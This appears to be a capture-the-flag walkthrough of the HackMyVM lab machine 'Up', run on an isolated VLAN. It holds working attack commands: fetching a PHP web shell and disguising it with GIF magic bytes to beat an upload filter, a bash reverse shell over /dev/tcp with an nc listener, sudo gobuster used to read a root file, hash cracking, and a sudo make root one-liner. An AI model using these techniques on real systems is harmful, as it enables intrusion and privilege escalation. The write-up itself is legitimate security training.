HackMyVM | Up

In this walkthrough, I demonstrate how I obtained complete ownership of Up from HackMyVM
In: HackMyVM, Attack, CTF, Home Lab, Linux, Easy Challenge
ℹ️
I keep all of my distrusted hosts from platforms like HackMyVM on a segmented VLAN -- 10.9.9.0/24 -- that has no internet access

Nmap Results

# Nmap 7.94SVN scan initiated Thu Nov  7 16:02:54 2024 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.9.9.11
Nmap scan report for 10.9.9.11
Host is up (0.00038s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: RodGar - Subir Imagen
|_http-server-header: Apache/2.4.62 (Debian)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov  7 16:03:02 2024 -- 1 IP address (1 host up) scanned in 7.64 seconds





Service Enumeration

TCP/80

Walking the Application

Walking the “happy path” · Pwning OWASP Juice Shop
ℹ️
We don't know anything about the web application at the moment, so for now, we'll just click around on the page; testing different links and putting expected inputs in any input fields. We just want to understand for now what certain things do.
Try uploading a standard image file to see the app's functionality
At this point, we've tested all of the clickable areas and input points that a normal user would be expected to use. Thus, we have concluded the initial walk of the application, and should go back and review our Burp / proxy request history as an initial first step to uncover potential findings.



Penetration Testing

What We Know So Far

Looking at the page source code, we see the input form accepts .jpg, .jpeg, and .gif. We also see some JavaScript that populates the field with the file name.
I tried removing the accept=".jpg, .jpeg, .gif" property from the input tag, but it looks like the input is verified server side as well.

My initial approach at the moment is going to be:

  • Look for some way to bypass the controls of the upload form
  • See if I can locate the file that's been uploaded
  • If so, we may be able to gain code execution on the box



Gobuster Enumeration

Directories and Files
gobuster dir -u http://10.9.9.11 -x php,txt -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o up.txt
/.htaccess.php        (Status: 403) [Size: 274]
/.htpasswd            (Status: 403) [Size: 274]
/.htaccess            (Status: 403) [Size: 274]
/.htaccess.txt        (Status: 403) [Size: 274]
/.htpasswd.php        (Status: 403) [Size: 274]
/.htpasswd.txt        (Status: 403) [Size: 274]
/index.php            (Status: 200) [Size: 4489]
/javascript           (Status: 301) [Size: 311] [--> http://10.9.9.11/javascript/]
/server-status        (Status: 403) [Size: 274]
/uploads              (Status: 301) [Size: 308] [--> http://10.9.9.11/uploads/]
Of the directories and files we discovered, /uploads/ looks the most interesting, but we don't have access to list the contents of the directorya
gobuster dir -u http://10.9.9.11/uploads/ -x php,txt,jpeg,jpg,gif -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o up.txt

Enumerate the /uploads/ directory

/.htpasswd.txt        (Status: 403) [Size: 964]
/.htaccess.jpeg       (Status: 403) [Size: 964]
/.htpasswd.gif        (Status: 403) [Size: 964]
/.htaccess.php        (Status: 403) [Size: 964]
/.htaccess.gif        (Status: 403) [Size: 964]
/.htaccess.txt        (Status: 403) [Size: 964]
/.htpasswd.jpg        (Status: 403) [Size: 964]
/.htaccess.jpg        (Status: 403) [Size: 964]
/.htpasswd.php        (Status: 403) [Size: 964]
/.htpasswd.jpeg       (Status: 403) [Size: 964]
/.htaccess            (Status: 403) [Size: 964]
/.htpasswd            (Status: 403) [Size: 964]
/robots.txt           (Status: 200) [Size: 1301]
/robots.txt           (Status: 200) [Size: 1301]
We have some base64-encoded data in the /uploads/robots.txt file



Analyzing the Source Code

  • On lines 3 — 8, some variables are initialized if the request is a HTTP POST
    • Line 3: Target Directory is the relative path uploads/
    • Line 4: Get the file name based on the given path
    • Line 5: Get the file extension using the $fileName variable
    • Line 6: Get the name of the file using the $fileName variable without any extensions
    • Line 8: Define an array of allowed file types
  • Line 9: If the target file is in the allowed file types array
    • Lines 10 — 12: Use the PHP strtr() function to perform a ROT13 cipher on the letters of the filename
    • Lines 14 — 15: Take the ROT13 filename and the original file extension and specify the target path to move the file to
    • Lines 17 — 21: Try and move the file and report the success or error to the client



Finding My File

We know A maps to N in the strtr() function. N is offset by 13 from A.

We know the upload function takes the original file, rotates the filename characters 13 to the right and appends the original file extension on the new name. So, if the file we uploaded is named download.jpeg, we can pretty easily calculate the new name programmatically.

echo -n 'download.jpeg' | 
cut -d '.' -f 1 | 
tr 'A-Za-z' 'N-ZA-Mn-za-m' | 
xargs -I % echo "%.jpeg"
And there we have it! My original file uploaded with the ROT13 name and original file extension.





Exploit

Abusing the File Upload Form

ℹ️
For context, some of the things I tried ...
Change the sh.php to sh.php%00.jpg (and similar techniques), but the server parsed the encoding literally and saved it as part of the filename, so sh.php%00.jpg was discovered at fu.cuc%2500.jpg in the /uploads/ directory

Change the Content-Type header in the multipart form data to something like image/jpeg when uploading PHP source

Use exiftool to inject PHP scripts in a .jpg file comment metadata

Research strtolower() along with in_array(), since the strict parameter was not set on the in_array() function

Did further research on PHP image file upload bypasses and found a neat trick with .gif files specifically
File upload bypass | Hacker’s Grimoire

Initial Google result with suggested payload

Unrestricted file upload | The Hacker Recipes
Comprehensive cybersecurity guides and strategies for ethical hacking and penetration testing

Another good resource

Effectively, if the web server is not configured correctly, the server may process the PHP code nested in what is perceived to be a GIF file due to the GIF file magic bytes in the header of the file.
curl -s https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/refs/heads/master/webshell.php -o pwn.php.gif

Download the PHP web shell from GitHub

echo -e "GIF89a\n$(cat pwn.php.gif)" > pwn.php.gif

Insert the GIF magic bytes at the beginning of the file

Final payload. Now upload to the server and find the ROT13 file in the /uploads/ directory.
We've got command execution!



Reverse Shell

sudo rlwrap nc -lnvp 443

Start a TCP listener on your desired port

bash -c 'bash -i >& /dev/tcp/10.6.6.9/443 0>&1'

Start a Bash reverse shell back to your attack box (input in the web shell)

We can also see the server was configured to process GIF files with PHP scripts





Post-Exploit Enumeration

Operating Environment

OS & Kernel

PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

    
Linux debian 6.1.0-26-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.112-1 (2024-09-30) x86_64 GNU/Linux

Current User

uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
Matching Defaults entries for www-data on debian:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User www-data may run the following commands on debian:
    (ALL) NOPASSWD: /usr/bin/gobuster



Users and Groups

Local Users

rodgar:x:1001:1001::/home/rodgar:/bin/bash    

Local Groups

rodgar:x:1001:    



Network Configurations

Network Interfaces

ens18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether bc:24:11:47:f2:1c brd ff:ff:ff:ff:ff:ff
    altname enp0s18
    inet 10.9.9.11/24 brd 10.9.9.255 scope global dynamic noprefixroute ens18
       valid_lft 3740sec preferred_lft 3740sec
    inet6 fe80::be24:11ff:fe47:f21c/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever    



Interesting Files

/var/www/html/uploads/clue.txt

/root/rodgarpass    





Privilege Escalation

Lateral to Rodger

Privileged File Read

ℹ️
I have to admit that it took me longer than I'd like to realize the privilege escalation path. It was pretty obvious that we need to use gobuster, but I wasn't quite sure how to pair that up with /root/rodgarpass.
sudo /usr/bin/gobuster dir -u http://localhost -w /root/rodgarpass -vq

The premise here is that we'll treat /root/rodgarpass as a gobuster wordlist and verbosely print each line from the file to the console. This way, we'll be reading the contents of /root/rodgarpass line-by-line using gobuster.



Cracking The Hash

⚠️
b45cffe084dd3d20d928bee85e7b0f2 looks like a MD5 hash, most likely of rodgar's password. However, there's a problem with this current hash, as a MD5 hash should be 32 characters in length, where this one is 31 characters.
I was having trouble cracking the hash with john and hashcat and found that we're missing a character (https://10015.io/tools/md5-encrypt-decrypt)
This shouldn't be a problem, since we're only missing one character. We know that a MD5 hash will consist of a-f and 0-9; in other words, hexadecimal. We can use the mp64 command to generate a dynamic list of possibilities to determine the final character.
Dynamic Word Lists wit... | 0xBEN | Notes
Project Github https://github.com/hashcat/maskprocessor Example Usage You have a base passwor…
# -1 : creates a custom character list
# '?dabcdef' : ?d is shorthand for 0-9 and then a-f
mp64 -1 '?dabcdef' 'b45cffe084dd3d20d928bee85e7b0f2?1' > hashes.txt
Possible hashes
john --wordlist=~/Pentest/WordLists/rockyou.txt --format=Raw-MD5 hashes.txt
Cracked!



Testing the Login

Logging in with the cracked password doesn't work ...
b45cffe084dd3d20d928bee85e7b0f21
So the password for rodgar is literally the hash value
Always a good quick check to make upon switching users



Becoming Root

make | GTFOBins
gcc | GTFOBins
COMMAND="$(which bash) -ip"; sudo make -s --eval=$'x:\n\t-'"$COMMAND"

One liner to exploit the sudo make command



Flags

User

b45cffe084dd3d20d928bee    

Root

44b3f261e197124e60217d6ffe7e71a8e0175ae0    
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.